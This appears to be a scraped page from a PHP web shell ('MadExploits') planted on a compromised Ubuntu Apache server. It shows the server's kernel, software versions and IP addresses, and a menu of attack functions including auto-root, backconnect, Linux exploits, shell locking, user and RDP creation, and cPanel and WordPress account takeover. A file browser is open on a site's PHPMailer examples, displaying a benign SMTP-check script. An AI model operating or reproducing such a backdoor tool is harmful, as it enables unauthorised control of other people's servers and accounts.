Linux localhost 5.4.0-198-generic #218-Ubuntu SMP Fri Sep 27 20:18:53 UTC 2024 x86_64
Apache/2.4.41 (Ubuntu)
: 23.92.16.63 | : 104.23.187.18
Cant Read [ /etc/named.conf ]
8.1.5
www-data
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
var /
www /
thetds /
PHPMailer /
examples /
[ HOME SHELL ]
Name
Size
Permission
Action
images
[ DIR ]
drwxr-xr-x
scripts
[ DIR ]
drwxr-xr-x
styles
[ DIR ]
drwxr-xr-x
DKIM.phps
1.3
KB
-rw-r--r--
code_generator.phps
27.26
KB
-rw-r--r--
contactform.phps
2.4
KB
-rw-r--r--
contents.html
645
B
-rw-r--r--
contentsutf8.html
908
B
-rw-r--r--
exceptions.phps
1.45
KB
-rw-r--r--
gmail.phps
3.23
KB
-rw-r--r--
gmail_xoauth.phps
2.61
KB
-rw-r--r--
index.html
6.14
KB
-rw-r--r--
mail.phps
1.04
KB
-rw-r--r--
mailing_list.phps
2.24
KB
-rw-r--r--
pop_before_smtp.phps
2.14
KB
-rw-r--r--
send_file_upload.phps
1.64
KB
-rw-r--r--
send_multiple_file_upload.phps
1.57
KB
-rw-r--r--
sendmail.phps
1.11
KB
-rw-r--r--
signed-mail.phps
4.1
KB
-rw-r--r--
smtp.phps
1.83
KB
-rw-r--r--
smtp_check.phps
1.89
KB
-rw-r--r--
smtp_no_auth.phps
1.7
KB
-rw-r--r--
ssl_options.phps
2.03
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : smtp_check.phps
<?php /** * This uses the SMTP class alone to check that a connection can be made to an SMTP server, * authenticate, then disconnect */ //SMTP needs accurate times, and the PHP time zone MUST be set //This should be done in your php.ini, but this is how to do it if you don't have access to that date_default_timezone_set('Etc/UTC'); require '../PHPMailerAutoload.php'; //Create a new SMTP instance $smtp = new SMTP; //Enable connection-level debug output $smtp->do_debug = SMTP::DEBUG_CONNECTION; try { //Connect to an SMTP server if (!$smtp->connect('mail.example.com', 25)) { throw new Exception('Connect failed'); } //Say hello if (!$smtp->hello(gethostname())) { throw new Exception('EHLO failed: ' . $smtp->getError()['error']); } //Get the list of ESMTP services the server offers $e = $smtp->getServerExtList(); //If server can do TLS encryption, use it if (is_array($e) && array_key_exists('STARTTLS', $e)) { $tlsok = $smtp->startTLS(); if (!$tlsok) { throw new Exception('Failed to start encryption: ' . $smtp->getError()['error']); } //Repeat EHLO after STARTTLS if (!$smtp->hello(gethostname())) { throw new Exception('EHLO (2) failed: ' . $smtp->getError()['error']); } //Get new capabilities list, which will usually now include AUTH if it didn't before $e = $smtp->getServerExtList(); } //If server supports authentication, do it (even if no encryption) if (is_array($e) && array_key_exists('AUTH', $e)) { if ($smtp->authenticate('username', 'password')) { echo "Connected ok!"; } else { throw new Exception('Authentication failed: ' . $smtp->getError()['error']); } } } catch (Exception $e) { echo 'SMTP error: ' . $e->getMessage(), "\n"; } //Whatever happened, close the connection. $smtp->quit(true);
Close